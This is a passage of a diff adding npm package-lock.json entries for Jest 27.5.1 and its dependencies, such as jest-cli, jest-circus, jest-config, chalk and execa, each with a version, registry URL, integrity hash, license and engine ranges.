"jest-cli": "^27.5.1" + }, + "bin": { + "jest": "bin/jest.js" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } + } + }, + "node_modules/jest-changed-files": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-27.5.1.tgz", + "integrity": "sha512-buBLMiByfWGCoMsLLzGUUSpAmIAGnbR2KJoMN10ziLhOLvP4e0SlypHnAel8iqQXTrcbmfEY9sSqae5sgUsTvw==", + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "execa": "^5.0.0", + "throat": "^6.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-changed-files/node_modules/execa": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz", + "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", + "license": "MIT", + "dependencies": { + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.0", + "human-signals": "^2.1.0", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.1", + "onetime": "^5.1.2", + "signal-exit": "^3.0.3", + "strip-final-newline": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/jest-changed-files/node_modules/get-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/jest-changed-files/node_modules/human-signals": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz", + "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==", + "license": "Apache-2.0", + "engines": { + "node": ">=10.17.0" + } + }, + "node_modules/jest-circus": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-27.5.1.tgz", + "integrity": "sha512-D95R7x5UtlMA5iBYsOHFFbMD/GVA4R/Kdq15f7xYWUfWHBto9NYRsOvnSauTgdF+ogCpJ4tyKOXhUifxS65gdw==", + "license": "MIT", + "dependencies": { + "@jest/environment": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "co": "^4.6.0", + "dedent": "^0.7.0", + "expect": "^27.5.1", + "is-generator-fn": "^2.0.0", + "jest-each": "^27.5.1", + "jest-matcher-utils": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-runtime": "^27.5.1", + "jest-snapshot": "^27.5.1", + "jest-util": "^27.5.1", + "pretty-format": "^27.5.1", + "slash": "^3.0.0", + "stack-utils": "^2.0.3", + "throat": "^6.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-circus/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-circus/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-circus/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-circus/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/jest-circus/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-circus/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-cli": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-27.5.1.tgz", + "integrity": "sha512-Hc6HOOwYq4/74/c62dEE3r5elx8wjYqxY0r0G/nFrLDPMFRu6RA/u8qINOIkvhxG7mMQ5EJsOGfRpI8L6eFUVw==", + "license": "MIT", + "dependencies": { + "@jest/core": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/types": "^27.5.1", + "chalk": "^4.0.0", + "exit": "^0.1.2", + "graceful-fs": "^4.2.9", + "import-local": "^3.0.2", + "jest-config": "^27.5.1", + "jest-util": "^27.5.1", + "jest-validate": "^27.5.1", + "prompts": "^2.0.1", + "yargs": "^16.2.0" + }, + "bin": { + "jest": "bin/jest.js" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } + } + }, + "node_modules/jest-cli/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-cli/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-cli/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-cli/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/jest-cli/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-cli/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-config": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-27.5.1.tgz", + "integrity": "sha512-5sAsjm6tGdsVbW9ahcChPAFCk4IlkQUknH5AvKjuLTSlcO/wCZKyFdn7Rg0EkC+OGgWODEy2hDpWB1PgzH0JNA==", + "license": "MIT", + "dependencies": { + "@babel/core": "^7.8.0", + "@jest/test-sequencer": "^27.5.1", + "@jest/types": "^27.5.1", + "babel-jest": "^27.5.1", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "deepmerge": "^4.2.2", + "glob": "^7.1.1", + "graceful-fs": "^4.2.9", + "jest-circus": "^27.5.1", + "jest-environment-jsdom": "^27.5.1", + "jest-environment-node": "^27.5.1", + "jest-get-type": "^27.5.1", + "jest-jasmine2": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-runner": "^27.5.1", + "jest-util": "^27.5.1", + "jest-validate": "^27.5.1", + "micromatch": "^4.0.4", + "parse-json": "^5.2.0", + "pretty-format": "^27.5.1", + "slash": "^3.0.0", + "strip-json-comments": "^3.1.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "ts-node": ">=9.0.0" + }, + "peerDependenciesMeta": { + "ts-node": { + "optional": true + } + } + }, + "node_modules/jest-config/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-config/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-config/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-config/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/jest-config/node_modules/deepmerge": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz", + "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jest-config/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-config/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-diff": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-27.5.1.tgz", + "integrity": "sha512-m0NvkX55LDt9T4mctTEgnZk3fmEg3NRYutvMPWM/0iPnkFj2wIeF45O1718cMSOFO1vINkqmxqD8vE37uTEbqw==", + "license": "MIT", + "dependencies": { + "chalk": "^4.0.0", + "diff-sequences": "^27.5.1", + "jest-get-type": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-diff/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-diff/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-diff/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-diff/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/jest-diff/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-diff/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-docblock": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-27.5.1.tgz", + "integrity": "sha512-rl7hlABeTsRYxKiUfpHrQrG4e2obOiTQWfMEH3PxPjOtdsfLQO4ReWSZaQ7DETm4xu07rl4q/h4zcKXyU0/OzQ==", + "license": "MIT", + "dependencies": { + "detect-newline": "^3.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-each": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-27.5.1.tgz", + "integrity": "sha512-1Ff6p+FbhT/bXQnEouYy00bkNSY7OUpfIcmdl8vZ31A1UUaurOLPA8a8BbJOF2RDUElwJhmeaV7LnagI+5UwNQ==", + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "chalk": "^4.0.0", + "jest-get-type": "^27.5.1", + "jest-util": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-each/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-each/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-each/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-each/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/jest-each/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-each/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-environment-jsdom": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-27.5.1.tgz", + "integrity": "sha512-TFBvkTC1Hnnnrka/fUb56atfDtJ9VMZ94JkjTbggl1PEpwrYtUBKMezB3inLmWqQsXYLcMwNoDQwoBTAvFfsfw==", + "license": "MIT", + "dependencies": { + "@jest/environment": "^27.5.1", + "@jest/fake-timers": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "jest-mock": "^27.5.1", + "jest-util": "^27.5.1", + "jsdom": "^16.6.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-environment-node": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-27.5.1.tgz", + "integrity": "sha512-Jt4ZUnxdOsTGwSRAfKEnE6BcwsSPNOijjwifq5sDFSA2kesnXTvNqKHYgM0hDq3549Uf/KzdXNYn4wMZJPlFLw==", + "license": "MIT", + "dependencies": { + "@jest/environment": "^27.5.1", + "@jest/fake-timers": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "jest-mock": "^27.5.1", + "jest-util": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-get-type": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz", + "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw==", + "license": "MIT", + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-haste-map": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-27.5.1.tgz", + "integrity": "sha512-7GgkZ4Fw4NFbMSDSpZwXeBiIbx+t/46nJ2QitkOjvwPYyZmqttu2TDSimMHP1EkPOi4xUZAN1doE5Vd25H4Jng==", + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/graceful-fs": "^4.1.2", + "@types/node": "*", + "anymatch": "^3.0.3", + "fb-watchman": "^2.0.0", + "graceful-fs": "^4.2.9", + "jest-regex-util": "^27.5.1", + "jest-serializer": "^27.5.1", + "jest-util": "^27.5.1", + "jest-worker": "^27.5.1", + "micromatch": "^4.0.4", + "walker": "^1.0.7" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "optionalDependencies": { + "fsevents": "^2.3.2" + } + }, + "node_modules/jest-jasmine2": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-jasmine2/-/jest-jasmine2-27.5.1.tgz", + "integrity": "sha512-jtq7VVyG8SqAorDpApwiJJImd0V2wv1xzdheGHRGyuT7gZm6gG47QEskOlzsN1PG/6WNaCo5pmwMHDf3AkG2pQ==", + "license": "MIT", + "dependencies": { + "@jest/environment": "^27.5.1", + "@jest/source-map": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "co": "^4.6.0", + "expect": "^27.5.1", + "is-generator-fn": "^2.0.0", + "jest-each": "^27.5.1", + "jest-matcher-utils": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-runtime": "^27.5.1", + "jest-snapshot": "^27.5.1", + "jest-util": "^27.5.1", + "pretty-format": "^27.5.1", + "throat": "^6.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-jasmine2/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-jasmine2/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-jasmine2/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-jasmine2/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/jest-jasmine2/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-jasmine2/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-leak-detector": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-27.5.1.tgz", + "integrity": "sha512-POXfWAMvfU6WMUXftV4HolnJfnPOGEu10fscNCA76KBpRRhcMN2c8d3iT2pxQS3HLbA+5X4sOUPzYO2NUyIlHQ==", + "license": "MIT", + "dependencies": { + "jest-get-type": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-matcher-utils": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-27.5.1.tgz", + "integrity": "sha512-z2uTx/T6LBaCoNWNFWwChLBKYxTMcGBRjAt+2SbP929/Fflb9aa5LGma654Rz8z9HLxsrUaYzxE9T/EFIL/PAw==", + "license": "MIT", + "dependencies": { + "chalk": "^4.0.0", + "jest-diff": "^27.5.1", + "jest-get-type": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-matcher-utils/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": 